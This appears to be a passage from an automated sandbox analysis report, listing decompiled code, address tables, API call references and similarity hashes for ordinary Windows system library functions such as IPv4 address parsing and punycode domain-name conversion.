RtlReleaseSRWLockExclusive.1105(6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ECD2
RtlFreeHeap.1105(00000000,?,6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ED04
RtlReleaseActivationContext.1105(-00000F38,6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ED28
_wcsicmp.1105(6A9EFE98,?,6A9EFB78,00000030,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92EE13
_wcsicmp.1105(6A9EFE98,?,6A9EFB78,00000030,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92EE74
RtlFreeHeap.1105(00000000,?,6A9617F0,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A94C28C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: b4b5168a4fb62a783b83024ac9a7ac17f012b7faca8cacefcc5d798734d84dc7
Instruction ID: e10d66474f4181a501d3d778ee4c19d3acd6d1a9aa0aa613722848ae3bcaf0f0
Opcode Fuzzy Hash: b4b5168a4fb62a783b83024ac9a7ac17f012b7faca8cacefcc5d798734d84dc7
Instruction Fuzzy Hash: DD81C230A102059FEB28CF7DD49069ABBF6FF86718B35852DE4159B259EF30E842CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A917220, Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6A917220(char* _a4, intOrPtr _a8, intOrPtr* _a12, signed int* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				char _v25;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				void* _t60;
				signed int _t64;
				signed int _t65;
				signed short _t67;
				void* _t76;
				void* _t80;
				signed int _t81;
				intOrPtr* _t87;
				void* _t88;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed char _t96;
				signed char _t99;
				intOrPtr _t105;
				void* _t110;
				void* _t111;
				intOrPtr _t112;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				char* _t122;
				intOrPtr* _t123;
				signed int _t124;

				_v8 =  *0x6aa0d360 ^ _t124;
				_t87 = _a12;
				_t122 = _a4;
				_v44 = _a16;
				_t119 =  &_v24;
				do {
					_v36 = _v36 & 0x00000000;
					_v25 = 0;
					_t54 = 0xa;
					_v40 = _t54;
					if( *_t122 == 0x30) {
						_t123 = _t122 + 1;
						_t56 = E6A95CB30( *_t123,  *_t123);
						_pop(_t88);
						if(_t56 == 0 || E6A95CC80(_t88,  *_t123) == 0) {
							_t57 =  *_t123;
							if(_t57 == 0x78 || _t57 == 0x58) {
								_push(0x10);
								_t123 = _t123 + 1;
								goto L22;
							} else {
								_t54 = _v40;
								_v25 = 1;
								goto L2;
							}
						} else {
							_push(8);
							L22:
							_pop(_t54);
							_v40 = _t54;
							goto L2;
						}
					}
					L2:
					if(_a8 == 0 || _t54 == 0xa) {
						_t58 =  *_t123;
						if(_t58 == 0) {
							_t90 = _v25;
							_t117 = _v36;
							L10:
							if( *_t123 == 0x2e) {
								if(_t119 >=  &_v12) {
									goto L12;
								}
								goto L36;
							}
							if(_t90 != 0) {
								 *_t119 = _t117;
								_t119 = _t119 -  &_v24 + 4 >> 2;
								if(_t90 == 0 || _t119 == 4) {
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t93 = _v24;
										L58:
										asm("bswap ecx");
										 *_t87 = _t123;
										 *_v44 = _t93;
										_t60 = 0;
										goto L13;
									}
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t94 = _v24;
										if(_t94 > 0xff) {
											goto L12;
										}
										_t64 = _v20;
										_t117 = 0xffffff;
										if(_t64 > 0xffffff) {
											goto L12;
										}
										_t95 = _t94 << 0x18;
										_t65 = _t64 & 0x00ffffff;
										L56:
										_t93 = _t95 | _t65;
										goto L58;
									}
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t117 = _v24;
										if(_t117 > 0xff) {
											goto L12;
										}
										_t96 = _v20;
										if(_t96 > 0xff) {
											goto L12;
										}
										_t67 = _v16;
										if(_t67 > 0xffff) {
											goto L12;
										}
										_t117 = _t117 << 8;
										_t65 = _t67 & 0x0000ffff;
										_t95 = (_t96 & 0x000000ff | _t117) << 0x10;
										goto L56;
									}
									if(_t119 != 0) {
										goto L12;
									}
									_t117 = _v24;
									if(_t117 > 0xff) {
										goto L12;
									}
									_t99 = _v20;
									if(_t99 > 0xff || _v16 > 0xff || _v12 > 0xff) {
										goto L12;
									} else {
										_t95 = ((_t99 & 0x000000ff | _t117) << 0x00000008 | _v16 & 0x000000ff) << 8;
										_t65 = _v12 & 0x000000ff;
										goto L56;
									}
								} else {
									goto L12;
								}
							}
							goto L12;
						} else {
							goto L5;
						}
						do {
							L5:
							_t72 = _t58;
							_v32 = _t58;
							_t73 = E6A95CB30(_t58, _t72);
							_t105 = _v32;
							if(_t73 == 0) {
								L7:
								if(_v40 == 0x10) {
									if(E6A95CB30(_t73, _t105) == 0 || E6A95CDD0(_v32, _v32) == 0) {
										goto L8;
									} else {
										_t76 = E6A95CB30(_t75, _v32);
										_pop(_t110);
										if(_t76 == 0 || E6A95CCE0(_t110, _v32) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_t117 = _v36;
										_pop(_t111);
										_t112 = _v32;
										_t80 = (_t117 << 4) - _t111 + 0xa;
										L32:
										_t81 = _t80 + _t112;
										if(_t81 < _t117) {
											goto L12;
										}
										goto L33;
									}
								}
								L8:
								_t117 = _v36;
								L9:
								_t90 = _a8;
								goto L10;
							}
							_t73 = E6A95CC80(_t105, _t105);
							_t105 = _v32;
							if(_t73 != 0) {
								_t118 = _v40;
								_t26 = _t105 - 0x30; // -48
								_t73 = _t26;
								if(_t26 >= _t118) {
									goto L7;
								}
								_t117 = _v36;
								_t80 = _t118 * _t117 + 0xffffffd0;
								goto L32;
							}
							goto L7;
							L33:
							_t123 = _t123 + 1;
							_t117 = _t81;
							_v36 = _t117;
							_v25 = 1;
							_t58 =  *_t123;
						} while (_t58 != 0);
						goto L9;
					} else {
						L12:
						 *_t87 = _t123;
						_t60 = 0xc000000d;
						L13:
						return E6A95B640(_t60, _t87, _v8 ^ _t124, _t117, _t119, _t123);
					}
					L36:
					 *_t119 = _t117;
					_t119 = _t119 + 4;
					_t122 = _t123 + 1;
				} while (_t90 != 0);
				goto L12;
			}

0x6a91722f
0x6a917236
0x6a91723a
0x6a91723e
0x6a917241
0x6a917244
0x6a917244
0x6a91724f
0x6a917252
0x6a917253
0x6a917256
0x6a972462
0x6a972467
0x6a97246c
0x6a97246f
0x6a972483
0x6a972487
0x6a972499
0x6a97249b
0x00000000
0x6a97248d
0x6a97248d
0x6a972490
0x00000000
0x6a972490
0x6a97247f
0x6a97247f
0x6a97249c
0x6a97249c
0x6a97249d
0x00000000
0x6a97249d
0x6a97246f
0x6a91725c
0x6a917261
0x6a917268
0x6a91726c
0x6a9172d2
0x6a9172d5
0x6a9172a7
0x6a9172aa
0x6a97253b
0x00000000
0x00000000
0x00000000
0x6a97253b
0x6a9172b2
0x6a972554
0x6a97255e
0x6a972563
0x6a97256e
0x6a972571
0x6a97263a
0x6a97263d
0x6a972640
0x6a972642
0x6a972644
0x6a972646
0x00000000
0x6a972646
0x6a972577
0x6a97257a
0x6a972612
0x6a97261b
0x00000000
0x00000000
0x6a972621
0x6a972624
0x6a97262b
0x00000000
0x00000000
0x6a972631
0x6a972634
0x6a972636
0x6a972636
0x00000000
0x6a972636
0x6a972580
0x6a972583
0x6a9725d9
0x6a9725e3
0x00000000
0x00000000
0x6a9725e9
0x6a9725ee
0x00000000
0x00000000
0x6a9725f4
0x6a9725fc
0x00000000
0x00000000
0x6a972605
0x6a97260a
0x6a97260d
0x00000000
0x6a97260d
0x6a972588
0x00000000
0x00000000
0x6a97258e
0x6a972598
0x00000000
0x00000000
0x6a97259e
0x6a9725a3
0x00000000
0x6a9725bb
0x6a9725d1
0x6a9725d4
0x00000000
0x6a9725d4
0x00000000
0x00000000
0x00000000
0x6a972563
0x00000000
0x00000000
0x00000000
0x00000000
0x6a91726e
0x6a91726e
0x6a91726e
0x6a917272
0x6a917275
0x6a91727b
0x6a917280
0x6a917294
0x6a917298
0x6a9724c9
0x00000000
0x6a9724e1
0x6a9724e4
0x6a9724e9
0x6a9724ec
0x6a9724ff
0x6a9724fb
0x6a9724fb
0x6a9724fb
0x6a972501
0x6a972506
0x6a97250c
0x6a97250f
0x6a972512
0x6a972512
0x6a972516
0x00000000
0x00000000
0x00000000
0x6a972516
0x6a9724c9
0x6a91729e
0x6a91729e
0x6a9172a4
0x6a9172a4
0x00000000
0x6a9172a4
0x6a917283
0x6a917289
0x6a91728e
0x6a9724a5
0x6a9724a8
0x6a9724a8
0x6a9724ad
0x00000000
0x00000000
0x6a9724b5
0x6a9724bb
0x00000000
0x6a9724bb
0x00000000
0x6a97251c
0x6a97251c
0x6a97251d
0x6a972521
0x6a972524
0x6a972527
0x6a972529
0x00000000
0x6a9172b8
0x6a9172b8
0x6a9172b8
0x6a9172ba
0x6a9172bf
0x6a9172cf
0x6a9172cf
0x6a972541
0x6a972541
0x6a972543
0x6a972546
0x6a972547
0x00000000

APIs

__isascii.1105(0000000A,?), ref: 6A917275
isdigit.1105(00000000,?), ref: 6A917283
__isascii.1105(0000000A,?), ref: 6A972467
isdigit.1105(00000000,?), ref: 6A972475

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit
String ID:
API String ID: 2481201981-0
Opcode ID: bf28d75003a193bdb202b3d5f59da1b360cb014a23aa7f0261abaf1ace24317f
Instruction ID: fa421b6bed630c73de4072851a54275d4ed79d5199e3b4de4ff7c9f3e2b76534
Opcode Fuzzy Hash: bf28d75003a193bdb202b3d5f59da1b360cb014a23aa7f0261abaf1ace24317f
Instruction Fuzzy Hash: CF712831A0821F9FDF24CAA8C8906BE77F5AF46300F75496AE451E7681DE78C842CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6A92F820, Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6A92F820(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int* _a20) {
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* _t37;
				signed int _t55;
				signed int _t56;
				signed int* _t62;
				signed int _t64;
				signed int* _t72;
				signed int _t76;
				void* _t78;
				signed int _t80;
				void* _t82;
				void* _t83;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_t74 = _a4;
				if(_a4 == 0) {
					L22:
					_t78 = 0x57;
					goto L16;
				} else {
					_t62 = _a20;
					if(_t62 == 0) {
						goto L22;
					} else {
						_t37 = E6A95F380(_t74, 0x6a8f5138, 0x10);
						_t83 = _t82 + 0xc;
						if(_t37 == 0) {
							if( *0x6aa060d8 == 0) {
								goto L3;
							} else {
								_push(0x57);
								goto L25;
							}
						} else {
							L3:
							_t71 = _a12;
							 *_t62 =  *_t62 & 0x00000000;
							_t78 = 0;
							_t62[1] = _t62[1] & 0x00000000;
							_t76 = E6A94BC2C(_t74, _a12, _a16, _a8);
							if(_t76 == 0) {
								_push("true");
								L25:
								_pop(_t78);
								goto L23;
							} else {
								_t8 = _t76 + 0x24; // 0x24
								_t63 = _t8;
								E6A932280(_t38, _t8);
								 *(_t76 + 0x2c) =  *( *[fs:0x18] + 0x24);
								if(_a8 == 0xa) {
									L6:
									_t14 = _t76 + 0xc; // 0xc
									 *((intOrPtr*)(_t83 + 0x18)) = _t14;
									 *((short*)(_t83 + 0x20)) =  *(_t76 + 0x34);
									E6A932280( *(_t76 + 0x34), 0x6aa086ac);
									_t64 =  *0x6aa086dc;
									_v20 =  *0x6aa086e0 & 1;
									_v24 = 0;
									if(_t64 != 0) {
										L7:
										while(1) {
											if(E6A92F99D(_t83 + 0x1c, _t64) >= 0) {
												_t55 =  *(_t64 + 4);
												if(_v16 != 0) {
													if(_t55 == 0) {
														goto L13;
													} else {
														_t55 = _t55 ^ _t64;
														goto L12;
													}
													goto L17;
												} else {
													L12:
													if(_t55 != 0) {
														goto L10;
													} else {
														L13:
														_v20 = 1;
													}
												}
											} else {
												_t56 =  *_t64;
												if(_v16 != 0) {
													if(_t56 == 0) {
														goto L14;
													} else {
														_t55 = _t56 ^ _t64;
														goto L9;
													}
													goto L17;
												} else {
													L9:
													if(_t55 == 0) {
														L14:
														_v20 = 0;
													} else {
														L10:
														_t64 = _t55;
														continue;
													}
												}
											}
											goto L15;
										}
									}
									L15:
									E6A92B090(0x6aa086dc, _t64, _v20, _t76);
									E6A92FFB0(_t64, _t76, 0x6aa086ac);
									E6A94F296(_t76, _t71);
									 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
									_t29 = _t76 + 0x24; // 0x24
									E6A92FFB0(_t64, _t76, _t29);
									asm("cdq");
									_t72 = _a20;
									 *_t72 = _t76;
									_t72[1] =  *(_t76 + 0x34) & 0x0000ffff;
								} else {
									_t71 = _a12;
									_t78 = E6A944D3B(_t76, _a12, _a8);
									if(_t78 != 0) {
										 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
										E6A92FFB0(_t63, _t76, _t63);
										E6A91F871(_t63);
									} else {
										goto L6;
									}
								}
								L16:
								if(_t78 != 0) {
									L23:
									E6A91CC50(_t78);
								}
							}
						}
					}
				}
				L17:
				return _t78;
			}

0x6a92f828
0x6a92f82e
0x6a92f833
0x6a92f990
0x6a92f992
0x00000000
0x6a92f839
0x6a92f839
0x6a92f83e
0x00000000
0x6a92f844
0x6a92f84c
0x6a92f851
0x6a92f856
0x6a92f97b
0x00000000
0x6a92f981
0x6a92f981
0x00000000
0x6a92f981
0x6a92f85c
0x6a92f85c
0x6a92f85f
0x6a92f867
0x6a92f86a
0x6a92f86c
0x6a92f875
0x6a92f879
0x6a97bd6b
0x6a97bd6d
0x6a97bd6d
0x00000000
0x6a92f87f
0x6a92f87f
0x6a92f87f
0x6a92f883
0x6a92f895
0x6a92f898
0x6a92f8b1
0x6a92f8b1
0x6a92f8b4
0x6a92f8c1
0x6a92f8c6
0x6a92f8d2
0x6a92f8db
0x6a92f8df
0x6a92f8e6
0x00000000
0x6a92f8e8
0x6a92f8f5
0x6a92f911
0x6a92f914
0x6a92f98a
0x00000000
0x6a92f98c
0x6a92f98c
0x00000000
0x6a92f98c
0x00000000
0x6a92f916
0x6a92f916
0x6a92f918
0x00000000
0x6a92f91a
0x6a92f91a
0x6a92f91a
0x6a92f91a
0x6a92f918
0x6a92f8f7
0x6a92f8fc
0x6a92f8fe
0x6a97bd8b
0x00000000
0x6a97bd91
0x6a97bd91
0x00000000
0x6a97bd91
0x00000000
0x6a92f904
0x6a92f904
0x6a92f906
0x6a92f921
0x6a92f921
0x6a92f908
0x6a92f908
0x6a92f908
0x00000000
0x6a92f908
0x6a92f906
0x6a92f8fe
0x00000000
0x6a92f8f5
0x6a92f8e8
0x6a92f926
0x6a92f931
0x6a92f93b
0x6a92f942
0x6a92f947
0x6a92f94b
0x6a92f94f
0x6a92f95a
0x6a92f95d
0x6a92f960
0x6a92f962
0x6a92f89a
0x6a92f89d
0x6a92f8a7
0x6a92f8ab
0x6a97bd73
0x6a97bd78
0x6a97bd7f
0x00000000
0x00000000
0x00000000
0x6a92f8ab
0x6a92f965
0x6a92f967
0x6a92f995
0x6a92f996
0x6a92f996
0x6a92f967
0x6a92f879
0x6a92f856
0x6a92f83e
0x6a92f969
0x6a92f971

APIs

memcmp.1105(00000030,6A8F5138,00000010,00000000,00000001,-00000001), ref: 6A92F84C
RtlAcquireSRWLockExclusive.1105(00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6A92F883
RtlAcquireSRWLockExclusive.1105(6AA086AC,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6A92F8C6

Part of subcall function 6A944D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6A944D77
Part of subcall function 6A944D3B: RtlRunOnceExecuteOnce.1105(6AA086B0,6A945690,00000000,00000000,00000000,00000000,00000024), ref: 6A944D9E
Part of subcall function 6A944D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944DE9
Part of subcall function 6A944D3B: memcmp.1105(00000000,6A8F5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944E26

RtlRbInsertNodeEx.1105(6AA086DC,?,00000000,00000000), ref: 6A92F931
RtlReleaseSRWLockExclusive.1105(6AA086AC,6AA086DC,?,00000000,00000000), ref: 6A92F93B
RtlReleaseSRWLockExclusive.1105(00000024,6AA086AC,6AA086DC,?,00000000,00000000), ref: 6A92F94F

Part of subcall function 6A94BC2C: RtlAcquireSRWLockExclusive.1105(?,00000030,00000000,-00000001,6A92F875,00000000,00000000,00000000,00000001,-00000001), ref: 6A94BC79
Part of subcall function 6A94BC2C: RtlReleaseSRWLockExclusive.1105(?,?,00000030,00000000,-00000001,6A92F875,00000000,00000000,00000000,00000001,-00000001), ref: 6A94BC8D
Part of subcall function 6A94BC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,00000030,00000000,-00000001,6A92F875,00000000,00000000,00000000,00000001,-00000001), ref: 6A94BCA6

RtlSetLastWin32Error.1105(00000057,00000000,00000001,-00000001), ref: 6A92F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6A97BD78

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: c37f20a593821662efc8ddf5dfbc80ae69bdffee9a43610df7d2b8ca7aaa3e3d
Instruction ID: a5ab98b0f9a782f75e803b2d6476daeb60fc3e1de25bc5874b03ff434118aa51
Opcode Fuzzy Hash: c37f20a593821662efc8ddf5dfbc80ae69bdffee9a43610df7d2b8ca7aaa3e3d
Instruction Fuzzy Hash: 4041F675254706BBFB11CF24C884B5BB7E8AF5934CF22451AE9168B249DF70D824CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6A915C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6A915C07(signed short* __ecx, signed int __edx, signed int* _a4, signed int* _a8, char _a12, char _a16, char* _a20, intOrPtr* _a24) {
				signed short* _v8;
				intOrPtr _v12;
				signed int* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				signed int* _v44;
				signed int _v48;
				signed short* _v52;
				signed short* _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int* _v76;
				void* _t155;
				signed int* _t156;
				intOrPtr* _t159;
				char _t160;
				signed int _t179;
				signed int _t181;
				char* _t182;
				void* _t183;
				signed int _t186;
				void* _t187;
				signed int _t190;
				signed int _t196;
				signed int* _t198;
				signed int _t200;
				intOrPtr _t202;
				intOrPtr _t203;
				signed int _t215;
				intOrPtr _t221;
				signed int _t222;
				signed int _t225;
				void* _t227;
				void* _t228;
				signed int* _t233;
				intOrPtr* _t234;
				signed int* _t236;
				signed short* _t239;
				void* _t249;
				void* _t250;
				signed int _t251;
				signed int _t253;
				void* _t269;
				signed int _t270;
				signed int _t272;
				void* _t273;
				void* _t274;
				signed short* _t277;
				signed short* _t280;
				intOrPtr* _t281;
				intOrPtr* _t282;
				signed int _t284;
				signed int _t287;
				signed int* _t288;
				signed int _t293;
				signed int* _t295;
				signed int* _t297;
				signed int _t299;
				signed int* _t302;
				signed int _t306;
				signed int _t309;
				signed int _t314;
				signed int _t315;
				signed short* _t317;
				void* _t318;

				_t236 = _a8;
				_v72 = __edx;
				_v52 = __ecx;
				_t299 =  *_t236;
				 *_t236 =  *_t236 & 0x00000000;
				 *_a20 = 1;
				if(__edx <= 0) {
					_t155 = 0xc0000716;
					L34:
					return _t155;
				}
				_t277 =  &(__ecx[__edx]);
				_t238 = __ecx;
				_v8 = __ecx;
				_v56 =  &(__ecx[0xffffffffffffffff]);
				_t295 = _a4;
				_t156 = _t295;
				_v16 = _t156;
				_t233 = _t156;
				_v76 = _t233;
				_v12 = _t233 + _t299 * 2;
				 *_a24 = _t233 - 2;
				if(__ecx >= _t277) {
					L35:
					_t155 = 0xc0000716;
					L33:
					goto L34;
				}
				_t302 = _t233;
				_v60 = 0x80;
				while(1) {
					_t159 = E6A915DDE(_t238, _t277, _a12);
					_t239 = _v8;
					_t234 = _t159;
					if(_t234 == _t239) {
						break;
					}
					if(_a12 != 0) {
						_t306 = _t234 - _t239;
						L7:
						if((_t277 - _t239 & 0xfffffffe) < 8) {
							L11:
							if((_v12 - _t295 & 0xfffffffe) < (_t306 & 0xfffffffe)) {
								goto L35;
							}
							_t280 = _t239;
							if(_t239 >= _t234) {
								L21:
								if(_a12 != 0 || (_t234 - _t239 & 0xfffffffe) <= 0x7e && _t295 != _v16) {
									_t277 = _v52 + _v72 * 2;
									if(_t234 == _t277) {
										L27:
										_t160 = _a12;
										if(_t160 != 0) {
											_a12 = 0;
											_v56 = _t234;
											asm("sbb ecx, ecx");
											 *_a24 = _t295 - ( ~(_t234 - _t277) & 0x00000002);
											if(_t234 == _t277 - 2) {
												goto L35;
											}
											_t160 = _a12;
										}
										_t238 = _t234 + 2;
										_t302 = _t295;
										_v8 = _t234 + 2;
										_v16 = _t302;
										if(_t234 < _t277) {
											continue;
										}
										L29:
										_t297 = _v76;
										if(_t302 == _t297 || _t160 == 0 && _t277 - _v56 >> 1 > (0 | ( *(_t277 - 2) & 0x0000ffff) == 0x0000002e) + 0xff) {
											goto L35;
										} else {
											 *_a8 = _t302 - _t297 >> 1;
											_t155 = 0;
											goto L33;
										}
									}
									if(_t295 >= _v12) {
										goto L35;
									}
									 *_t295 =  *_t234;
									_t295 =  &(_t295[0]);
									_a4 = _t295;
									goto L27;
								} else {
									goto L35;
								}
							} else {
								goto L13;
							}
							do {
								L13:
								if(_a12 != 0) {
									L17:
									_t179 =  *_t280 & 0x0000ffff;
									if(_t179 == 0 || _t179 >= 0x80) {
										goto L35;
									} else {
										goto L19;
									}
								}
								if(_a16 != 0) {
									if(E6A9C7F9F( *_t280) == 0) {
										goto L35;
									}
								}
								_t181 =  *_t280 & 0x0000ffff;
								_t249 = 0x20;
								if(_t181 < _t249) {
									goto L35;
								}
								_t250 = 0x7f;
								if(_t181 == _t250) {
									goto L35;
								}
								goto L17;
								L19:
								 *_t295 = _t179;
								_t280 =  &(_t280[1]);
								_t295 =  &(_t295[0]);
								_a4 = _t295;
							} while (_t280 < _t234);
							L20:
							_t239 = _v8;
							goto L21;
						}
						_t182 = L"xl--";
						if(_a12 == 0) {
							_t182 = L"xn--";
						}
						_t183 = E6A95E5C0(_t239, _t182, 4);
						_t239 = _v8;
						_t318 = _t318 + 0xc;
						if(_t183 == 0) {
							_t281 = _t234 - 2;
							_t239 =  &(_t239[4]);
							_v8 = _t239;
							 *_a20 = 0;
							if(_t281 < _t239) {
								L46:
								_t281 = 0;
								L47:
								if(_t281 == _t234 - 2) {
									goto L35;
								}
								if(_t281 == 0 || _t281 <= _t239) {
									_t186 = 0;
								} else {
									_t317 = _t239;
									_t186 = _t281 - _t239 >> 1;
									_v48 = _t186;
									if(_t239 == _t281) {
										L68:
										if(_t186 <= 0) {
											_t187 = 0;
										} else {
											_t187 = 2 + _t186 * 2;
										}
										_t309 = 0;
										_v24 = 0x80;
										_v28 = _v28 & 0;
										_t282 = _t187 + _t239;
										_v36 = _t282;
										_v48 = 0x48;
										if(_t282 >= _t234) {
											goto L21;
										} else {
											do {
												_t251 = 0x24;
												_v68 = _t309;
												_v64 = _t309;
												_v20 = 1;
												_v40 = _t251;
												_v44 = _t251 - _v48;
												while(_t282 < _t234) {
													_t190 = E6A9C802C( *_t282);
													_v36 = _v36 + 2;
													_t253 = _t190;
													if(_t253 < 0) {
														goto L35;
													}
													asm("cdq");
													if(_t253 > 0x7ffffff / _v20) {
														goto L35;
													}
													_t284 = _v40;
													_t309 = _t309 + _t253 * _v20;
													_t196 = _v48;
													_v32 = _t309;
													if(_t284 > _t196) {
														if(_t284 < _t196 + 0x1a) {
															_t198 = _v44;
														} else {
															_t198 = 0x1a;
														}
													} else {
														_t198 = 1;
													}
													if(_t253 < _t198) {
														_t314 = (_t295 - _v16 >> 1) - _v28 + 1;
														_v48 = E6A9C7FD5(_v32 - _v68, _t314, (_t253 & 0xffffff00 | _v64 == 0x00000000) & 0x000000ff);
														_t200 = _v32;
														asm("cdq");
														_t315 = _t200 % _t314;
														_t287 = _t200 / _t314;
														_t202 = _v24;
														_v32 = _t315;
														if(_t287 > 0x7ffffff - _t202) {
															goto L35;
														}
														_t203 = _t202 + _t287;
														_v24 = _t203;
														if(_t203 >= 0x80 && _t203 <= 0x10ffff && (_t203 < 0xd800 || _t203 > 0xdfff)) {
															if(_v28 <= 0) {
																_t288 = _v16 + _t315 * 2;
																_v44 = _t288;
																L97:
																if(_t203 >= 0x10000) {
																	if(_t295 >= _v12 + 0xfffffffe || _t288 > _t295) {
																		goto L35;
																	} else {
																		asm("cdq");
																		_t140 = (_v24 + 0xffff0000) / 0x400 - 0x2800; // -4294911872
																		E6A9C7F11((_v24 + 0xffff0000) / 0x400, _t140, _v44,  &_a4);
																		E6A9C7F11( &_a4, (_v24 + 0xffff0000) % 0x400 - 0x2400,  &(_v44[0]),  &_a4);
																		_v28 = _v28 + 1;
																		_t315 = _v32;
																		goto L104;
																	}
																}
																if(_t295 >= _v12 || _t288 > _t295) {
																	goto L35;
																} else {
																	E6A9C7F11(_t203, _t203, _t288,  &_a4);
																	goto L104;
																}
															}
															_t288 = _v16;
															_v40 = _t315;
															_v44 = _t288;
															if(_t315 <= 0) {
																goto L97;
															}
															while(_t288 < _t295) {
																if(E6A9C7F61( *_t288) != 0) {
																	_t288 =  &(_t288[0]);
																}
																_t288 =  &(_t288[0]);
																_t215 = _v40 - 1;
																_v44 = _t288;
																_v40 = _t215;
																if(_t215 > 0) {
																	continue;
																} else {
																	_t203 = _v24;
																	goto L97;
																}
															}
														}
														goto L35;
													} else {
														_t269 = 0x24;
														_t270 = _t269 - _t198;
														asm("cdq");
														_t293 = _v20;
														if(_t293 > 0x7ffffff / _t270) {
															goto L35;
														}
														_v40 = _v40 + 0x24;
														_v44 =  &(_v44[9]);
														_t282 = _v36;
														_v20 = _t270 * _t293;
														continue;
													}
												}
												goto L35;
												L104:
												_t282 = _v36;
												_t309 = _t315 + 1;
												_t295 = _a4;
											} while (_t282 < _t234);
											goto L20;
										}
									}
									while(_t295 < _v12) {
										_t221 = _a12;
										if(_t221 != 0) {
											L58:
											_t272 =  *_t317 & 0x0000ffff;
											if(_t272 == 0 || _t272 >= _v60) {
												goto L35;
											} else {
												if(_t221 != 0) {
													L63:
													_t222 = _t272;
													L64:
													 *_t295 = _t222;
													_t317 =  &(_t317[1]);
													_t295 =  &(_t295[0]);
													_a4 = _t295;
													if(_t317 != _t281) {
														continue;
													}
													break;
												}
												_t59 = _t272 - 0x41; // 0x3f
												if(_t59 > 0x19) {
													goto L63;
												}
												_t60 = _t272 + 0x20; // 0xa0
												_t222 = _t60 & 0x0000ffff;
												goto L64;
											}
										}
										if(_a16 == _t221 || E6A9C7F9F( *_t317) != 0) {
											_t225 =  *_t317 & 0x0000ffff;
											_t273 = 0x20;
											if(_t225 < _t273) {
												goto L35;
											}
											_t274 = 0x7f;
											if(_t225 == _t274) {
												goto L35;
											}
											_t221 = _a12;
											goto L58;
										} else {
											goto L35;
										}
									}
									if(_t317 != _t281) {
										goto L35;
									}
									_t239 = _v8;
									_t186 = _v48;
								}
